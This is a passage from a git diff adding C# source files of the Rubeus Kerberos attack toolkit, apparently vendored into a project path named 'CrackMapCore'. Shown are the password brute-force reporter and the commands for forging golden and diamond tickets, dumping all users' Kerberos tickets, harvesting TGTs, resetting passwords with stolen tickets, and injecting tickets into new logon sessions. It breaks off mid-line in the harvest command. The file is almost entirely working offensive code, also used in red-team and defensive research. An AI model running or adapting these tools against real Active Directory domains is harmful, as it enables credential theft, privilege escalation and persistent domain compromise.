user.Properties["samAccountName"][0].ToString(); + usernames.Add(username); + } + + return usernames.Cast().Select(x => x.ToString()).ToArray(); + } catch(System.Runtime.InteropServices.COMException ex) + { + switch ((uint)ex.ErrorCode) + { + case 0x8007052E: + throw new BruteArgumentException("[X] Login error when retrieving usernames from dc \"" + domainController + "\"! Try it by providing valid /creduser and /credpassword"); + case 0x8007203A: + throw new BruteArgumentException("[X] Error connecting with the dc \"" + domainController + "\"! Make sure that provided /domain or /dc are valid"); + case 0x80072032: + throw new BruteArgumentException("[X] Invalid syntax in DN specification! Make sure that /ou is correct"); + case 0x80072030: + throw new BruteArgumentException("[X] There is no such object on the server! Make sure that /ou is correct"); + default: + throw ex; + } + } + } + + private string DomainController() + { + string domainController = null; + + + if (String.IsNullOrEmpty(this.dc)) + { + domainController = Networking.GetDCName(); + + if(domainController == "") + { + throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc"); + } + } + else + { + domainController = this.dc; + } + + return domainController; + } + + private string BindPath(string domainController) + { + string bindPath = String.Format("LDAP://{0}", domainController); + + if (!String.IsNullOrEmpty(this.ou)) + { + string ouPath = this.ou.Replace("ldap", "LDAP").Replace("LDAP://", ""); + bindPath = String.Format("{0}/{1}", bindPath, ouPath); + } + else if (!String.IsNullOrEmpty(this.domain)) + { + string domainPath = this.domain.Replace(".", ",DC="); + bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); + } + + return bindPath; + } + + private bool AreCredentialsValid() + { + using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, this.credDomain)) + { + return pc.ValidateCredentials(this.credUser, this.credPassword); + } + } + + } + + + public class BruteforceConsoleReporter : IBruteforcerReporter + { + + private uint verbose; + private string passwordsOutfile; + private bool saveTicket; + private bool reportedBadOutputFile = false; + + public BruteforceConsoleReporter(string passwordsOutfile, uint verbose = 0, bool saveTicket = true) + { + this.verbose = verbose; + this.passwordsOutfile = passwordsOutfile; + this.saveTicket = saveTicket; + } + + public void ReportValidPassword(string domain, string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE) + { + this.WriteUserPasswordToFile(username, password); + if (ticket != null) + { + Console.WriteLine("[+] STUPENDOUS => {0}:{1}", username, password); + this.HandleTicket(username, ticket); + } + else + { + Console.WriteLine("[+] UNLUCKY => {0}:{1} ({2})", username, password, err); + } + } + + public void ReportValidUser(string domain, string username) + { + if (verbose > 0) + { + Console.WriteLine("[+] Valid user => {0}", username); + } + } + + public void ReportInvalidUser(string domain, string username) + { + if (this.verbose > 1) + { + Console.WriteLine("[-] Invalid user => {0}", username); + } + } + + public void ReportBlockedUser(string domain, string username) + { + Console.WriteLine("[-] Blocked/Disabled user => {0}", username); + } + + public void ReportKrbError(string domain, string username, KRB_ERROR krbError) + { + Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username, + krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code); + } + + + private void WriteUserPasswordToFile(string username, string password) + { + if (String.IsNullOrEmpty(this.passwordsOutfile)) + { + return; + } + + string line = String.Format("{0}:{1}{2}", username, password, Environment.NewLine); + try + { + File.AppendAllText(this.passwordsOutfile, line); + }catch(UnauthorizedAccessException) + { + if (!this.reportedBadOutputFile) + { + Console.WriteLine("[X] Unable to write credentials in \"{0}\": Access denied", this.passwordsOutfile); + this.reportedBadOutputFile = true; + } + } + } + + private void HandleTicket(string username, byte[] ticket) + { + if(this.saveTicket) + { + string ticketFilename = username + ".kirbi"; + File.WriteAllBytes(ticketFilename, ticket); + Console.WriteLine("[*] Saved TGT into {0}", ticketFilename); + } + else + { + this.PrintTicketBase64(username, ticket); + } + } + + private void PrintTicketBase64(string ticketname, byte[] ticket) + { + string ticketB64 = Convert.ToBase64String(ticket); + + Console.WriteLine("[*] base64({0}.kirbi):\r\n", ticketname); + + // display in columns of 80 chararacters + if (Rubeus.Program.wrapTickets) + { + foreach (string line in Helpers.Split(ticketB64, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", ticketB64); + } + + Console.WriteLine("\r\n", ticketname); + } + + } +} + + + + diff --git a/inc/kerbtgs/CrackMapCore/Commands/Changepw.cs b/inc/kerbtgs/CrackMapCore/Commands/Changepw.cs new file mode 100644 index 0000000..527f976 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Changepw.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Changepw : ICommand + { + public static string CommandName => "changepw"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n"); + + string newPassword = ""; + string dc = ""; + string targetUser = null; + + if (arguments.ContainsKey("/new")) + { + newPassword = arguments["/new"]; + } + if (String.IsNullOrEmpty(newPassword)) + { + Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n"); + return; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/targetuser")) { + targetUser = arguments["/targetuser"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc, targetUser); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc, targetUser); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Createnetonly.cs b/inc/kerbtgs/CrackMapCore/Commands/Createnetonly.cs new file mode 100644 index 0000000..1b7fe38 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Createnetonly.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus.Commands +{ + public class Createnetonly : ICommand + { + public static string CommandName => "createnetonly"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Create Process (/netonly)\r\n"); + + string program = null; + string username = null; + string password = null; + string domain = null; + byte[] kirbiBytes = null; + bool show = arguments.ContainsKey("/show"); + + if (arguments.ContainsKey("/program") && !String.IsNullOrWhiteSpace(arguments["/program"])) + { + program = arguments["/program"]; + } + else + { + Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); + return; + } + + if (arguments.ContainsKey("/username")) + { + username = arguments["/username"]; + } + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + kirbiBytes = Convert.FromBase64String(kirbi64); + } + else if (File.Exists(kirbi64)) + { + kirbiBytes = File.ReadAllBytes(kirbi64); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + } + + if (username == null && password == null && domain == null) + { + Console.WriteLine("\r\n[*] Using random username and password.\r\n"); + Helpers.CreateProcessNetOnly(program, show, username, domain, password, kirbiBytes); + return; + } + + if (!String.IsNullOrWhiteSpace(username) && !String.IsNullOrWhiteSpace(password) && !String.IsNullOrWhiteSpace(domain)) + { + Console.WriteLine("\r\n[*] Using " + domain + "\\" + username + ":" + password + "\r\n"); + Helpers.CreateProcessNetOnly(program, show, username, domain, password, kirbiBytes); + return; + } + + Console.WriteLine("\r\n[X] Explicit creds require /username, /password, and /domain to be supplied!\r\n"); + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Currentluid.cs b/inc/kerbtgs/CrackMapCore/Commands/Currentluid.cs new file mode 100644 index 0000000..5611e5d --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Currentluid.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Currentluid : ICommand + { + public static string CommandName => "currentluid"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Display current LUID\r\n"); + + LUID currentLuid = Helpers.GetCurrentLUID(); + Console.WriteLine("[*] Current LogonID (LUID) : {0} ({1})\r\n", currentLuid, (UInt64)currentLuid); + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Describe.cs b/inc/kerbtgs/CrackMapCore/Commands/Describe.cs new file mode 100644 index 0000000..d462e60 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Describe.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Describe : ICommand + { + public static string CommandName => "describe"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n"); + byte[] serviceKey = null; + byte[] asrepKey = null; + byte[] krbKey = null; + string serviceUser = ""; + string serviceDomain = ""; + string desPlainText = ""; + + + + if (arguments.ContainsKey("/servicekey")) + { + serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]); + } + if (arguments.ContainsKey("/asrepkey")) + { + asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]); + } + if (arguments.ContainsKey("/krbkey")) + { + krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); + } + if (arguments.ContainsKey("/desplaintext")) + { + desPlainText = arguments["/desplaintext"]; + } + + // for generating service ticket hash when using AES256 + if (arguments.ContainsKey("/serviceuser")) + { + serviceUser = arguments["/serviceuser"]; + } + if (arguments.ContainsKey("/servicedomain")) + { + serviceDomain = arguments["/servicedomain"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey, null, desPlainText); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey, null, desPlainText); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Diamond.cs b/inc/kerbtgs/CrackMapCore/Commands/Diamond.cs new file mode 100644 index 0000000..97a21f2 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Diamond.cs @@ -0,0 +1,202 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Diamond : ICommand + { + public static string CommandName => "diamond"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Diamond Ticket\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + string hash = ""; + string dc = ""; + string outfile = ""; + string certificate = ""; + string krbKey = ""; + string ticketUser = ""; + string groups = "520,512,513,519,518"; + int ticketUserId = 0; + string sids = ""; + + bool ptt = arguments.ContainsKey("/ptt"); + bool tgtdeleg = arguments.ContainsKey("/tgtdeleg"); + LUID luid = new LUID(); + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { + encType = Interop.KERB_ETYPE.rc4_hmac; + } else if (encTypeString.Equals("AES128")) { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } else if (encTypeString.Equals("DES")) { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + + string salt = String.Format("{0}{1}", domain.ToUpper(), user); + + // special case for computer account salts + if (user.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), user.TrimEnd('$').ToLower(), domain.ToLower()); + } + + // special case for samaccountname spoofing to support Kerberos AES Encryption + if (arguments.ContainsKey("/oldsam")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), arguments["/oldsam"].TrimEnd('$').ToLower(), domain.ToLower()); + + } + + hash = Crypto.KerberosPasswordHash(encType, password, salt); + } + + else if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/certificate")) { + certificate = arguments["/certificate"]; + } + if (arguments.ContainsKey("/krbkey")) { + krbKey = arguments["/krbkey"]; + } + if (arguments.ContainsKey("/ticketuser")) + { + ticketUser = arguments["/ticketuser"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + + if (arguments.ContainsKey("/ticketuserid")) + { + ticketUserId = int.Parse(arguments["/ticketuserid"]); + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/createnetonly")) + { + // if we're starting a hidden process to apply the ticket to + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); + return; + } + if (arguments.ContainsKey("/show")) + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); + } + else + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); + } + Console.WriteLine(); + } + + if (tgtdeleg) + { + KRB_CRED cred = null; + try { + cred = new KRB_CRED(LSA.RequestFakeDelegTicket()); + } + catch { + Console.WriteLine("[X] Unable to retrieve TGT using tgtdeleg"); + return; + } + ForgeTickets.ModifyTicket(cred, krbKey, krbKey, outfile, ptt, luid, ticketUser, groups, ticketUserId, sids); + } + else + { + if (String.IsNullOrEmpty(certificate)) + ForgeTickets.DiamondTicket(user, domain, hash, encType, outfile, ptt, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); + else + ForgeTickets.DiamondTicket(user, domain, certificate, password, encType, outfile, ptt, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); + } + + return; + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/Dump.cs b/inc/kerbtgs/CrackMapCore/Commands/Dump.cs new file mode 100644 index 0000000..9fc3ce5 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Dump.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Dump : ICommand + { + public static string CommandName => "dump"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: Dump Kerberos Ticket Data (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: Dump Kerberos Ticket Data (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(true, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Full); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgs/CrackMapCore/Commands/Golden.cs b/inc/kerbtgs/CrackMapCore/Commands/Golden.cs new file mode 100644 index 0000000..1adf2e8 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/Golden.cs @@ -0,0 +1,451 @@ +using System; +using System.Collections.Generic; +using System.Globalization; + +namespace Rubeus.Commands +{ + public class Golden : ICommand + { + public static string CommandName => "golden"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Build TGT\r\n"); + + // variable defaults + string user = ""; + int? id = null; + string sids = ""; + string groups = ""; + string displayName = ""; + short? logonCount = null; + short? badPwdCount = null; + DateTime? lastLogon = null; + DateTime? logoffTime = null; + DateTime? pwdLastSet = null; + int? maxPassAge = null; + int? minPassAge = null; + int? pGid = null; + string homeDir = ""; + string homeDrive = ""; + string profilePath = ""; + string scriptPath = ""; + string resourceGroupSid = ""; + List resourceGroups = null; + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; + + string domain = ""; + string dc = ""; + string sid = ""; + string netbios = ""; + + bool ldap = false; + string ldapuser = null; + string ldappassword = null; + + string hash = ""; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent | Interop.TicketFlags.initial; + + DateTime startTime = DateTime.UtcNow; + DateTime authTime = startTime; + DateTime? rangeEnd = null; + string rangeInterval = "1d"; + string endTime = ""; + string renewTill = ""; + bool newPac = true; + bool extendedUpnDns = arguments.ContainsKey("/extendedupndns"); + + string outfile = ""; + bool ptt = false; + bool printcmd = false; + Int32 rodcNumber = 0; + + if (arguments.ContainsKey("/rodcNumber")) + { + rodcNumber = Int32.Parse(arguments["/rodcNumber"]); + } + // user information mostly for the PAC + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + if (arguments.ContainsKey("/id")) + { + id = Int32.Parse(arguments["/id"]); + } + if (arguments.ContainsKey("/pgid")) + { + pGid = Int32.Parse(arguments["/pgid"]); + } + if (arguments.ContainsKey("/displayname")) + { + displayName = arguments["/displayname"]; + } + if (arguments.ContainsKey("/logoncount")) + { + logonCount = short.Parse(arguments["/logoncount"]); + } + if (arguments.ContainsKey("/badpwdcount")) + { + badPwdCount = short.Parse(arguments["/badpwdcount"]); + } + if (arguments.ContainsKey("/lastlogon")) + { + lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/logofftime")) + { + logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/pwdlastset")) + { + pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/maxpassage")) + { + maxPassAge = Int32.Parse(arguments["/maxpassage"]); + } + if (arguments.ContainsKey("/minpassage")) + { + minPassAge = Int32.Parse(arguments["/minpassage"]); + } + if (arguments.ContainsKey("/homedir")) + { + homeDir = arguments["/homedir"]; + } + if (arguments.ContainsKey("/homedrive")) + { + homeDrive = arguments["/homedrive"]; + } + if (arguments.ContainsKey("/profilepath")) + { + profilePath = arguments["/profilepath"]; + } + if (arguments.ContainsKey("/scriptpath")) + { + scriptPath = arguments["/scriptpath"]; + } + if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) + { + resourceGroupSid = arguments["/resourcegroupsid"]; + resourceGroups = new List(); + foreach (string rgroup in arguments["/resourcegroups"].Split(',')) + { + try + { + resourceGroups.Add(int.Parse(rgroup)); + } + catch + { + Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); + } + } + } + if (arguments.ContainsKey("/uac")) + { + Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; + + foreach (string u in arguments["/uac"].Split(',')) + { + Interop.PacUserAccountControl result; + bool status = Interop.PacUserAccountControl.TryParse(u, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); + } + } + if (tmp != Interop.PacUserAccountControl.EMPTY) + { + uac = tmp; + } + } + + // domain and DC information + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + if (arguments.ContainsKey("/netbios")) + { + netbios = arguments["/netbios"]; + } + + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + // encryption types + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + // flags + if (arguments.ContainsKey("/flags")) + { + Interop.TicketFlags tmp = Interop.TicketFlags.empty; + + foreach (string flag in arguments["/flags"].Split(',')) + { + Interop.TicketFlags result; + bool status = Interop.TicketFlags.TryParse(flag, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); + } + } + if (tmp != Interop.TicketFlags.empty) + { + flags = tmp; + } + } + + // ticket times + if (arguments.ContainsKey("/starttime")) + { + try + { + startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); + return; + } + } + if (arguments.ContainsKey("/authtime")) + { + try + { + authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); + authTime = startTime; + } + } + else if (arguments.ContainsKey("/starttime")) + { + authTime = startTime; + } + if (arguments.ContainsKey("/rangeend")) + { + rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); + if (rangeEnd == null) + { + Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); + rangeEnd = startTime; + } + } + if (arguments.ContainsKey("/rangeinterval")) + { + rangeInterval = arguments["/rangeinterval"]; + } + if (arguments.ContainsKey("/endtime")) + { + endTime = arguments["/endtime"]; + } + if (arguments.ContainsKey("/renewtill")) + { + renewTill = arguments["/renewtill"]; + } + + if (arguments.ContainsKey("/oldpac")) + { + newPac = false; + } + + // actions for the ticket(s) + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + // print a command that could be used to recreate the ticket + // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again + if (arguments.ContainsKey("/printcmd")) + { + printcmd = true; + } + + // checks + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + ForgeTickets.ForgeTicket( + user, + String.Format("krbtgt/{0}", domain), + Helpers.StringToByteArray(hash), + encType, + null, + Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, + ldap, + ldapuser, + ldappassword, + sid, + domain, + netbios, + dc, + flags, + startTime, + rangeEnd, + rangeInterval, + authTime, + endTime, + renewTill, + id, + groups, + sids, + displayName, + logonCount, + badPwdCount, + lastLogon, + logoffTime, + pwdLastSet, + maxPassAge, + minPassAge, + pGid, + homeDir, + homeDrive, + profilePath, + scriptPath, + resourceGroupSid, + resourceGroups, + uac, + newPac, + extendedUpnDns, + outfile, + ptt, + printcmd, + null, + null, + null, + null, + false, + false, + rodcNumber + ); + return; + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Commands/HarvestCommand.cs b/inc/kerbtgs/CrackMapCore/Commands/HarvestCommand.cs new file mode 100644 index 0000000..7418847 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Commands/HarvestCommand.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class HarvestCommand : ICommand + { + public static string CommandName => "harvest"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: TGT Harvesting (with auto-renewal)"); + + string targetUser = null; + int monitorInterval = 60; // how often to check for new TGTs + int displayInterval = 1200; // how often to display the working set of TGTs + string registryBasePath = null; + bool nowrap = false; + int runFor = 0; + + if (arguments.ContainsKey("/nowrap")) + { + nowrap = true; + } + if (arguments.ContainsKey("/filteruser")) + { + targetUser = arguments["/filteruser"]; + } + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + if (arguments.ContainsKey("/interval")) + { + monitorInterval = Int32.Parse(arguments["/interval"]); + displayInterval = Int32.Parse(arguments["/interval"]); + } + if (arguments.ContainsKey("/monitorinterval")) + { + monitorInterval = Int32.Parse(arguments["/monitorinterval"]); + } + if (arguments.ContainsKey("/displayinterval")) + { + displayInterval = Int32.Parse(arguments["/displayinterval"]); + } + if (arguments.ContainsKey("/registry")) + { + registryBasePath = arguments["/registry"]; + } + if (arguments.ContainsKey("/runfor")) + { + runFor = Int32.Parse(arguments["/runfor"]); + } + + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + Console.WriteLine("[*] Monitoring every {0} seconds for new TGTs", monitorInterval); + Console.WriteLine("[*] Displaying the working TGT cache every {0} seconds", displayInterval); + if (runFor > 0) + { + Console.WriteLine("[*] Running collection for {0} seconds", runFor); + } + Console.WriteLine(""); + + var harvester = new Harvest(monitorInterval, displayInterval, true, 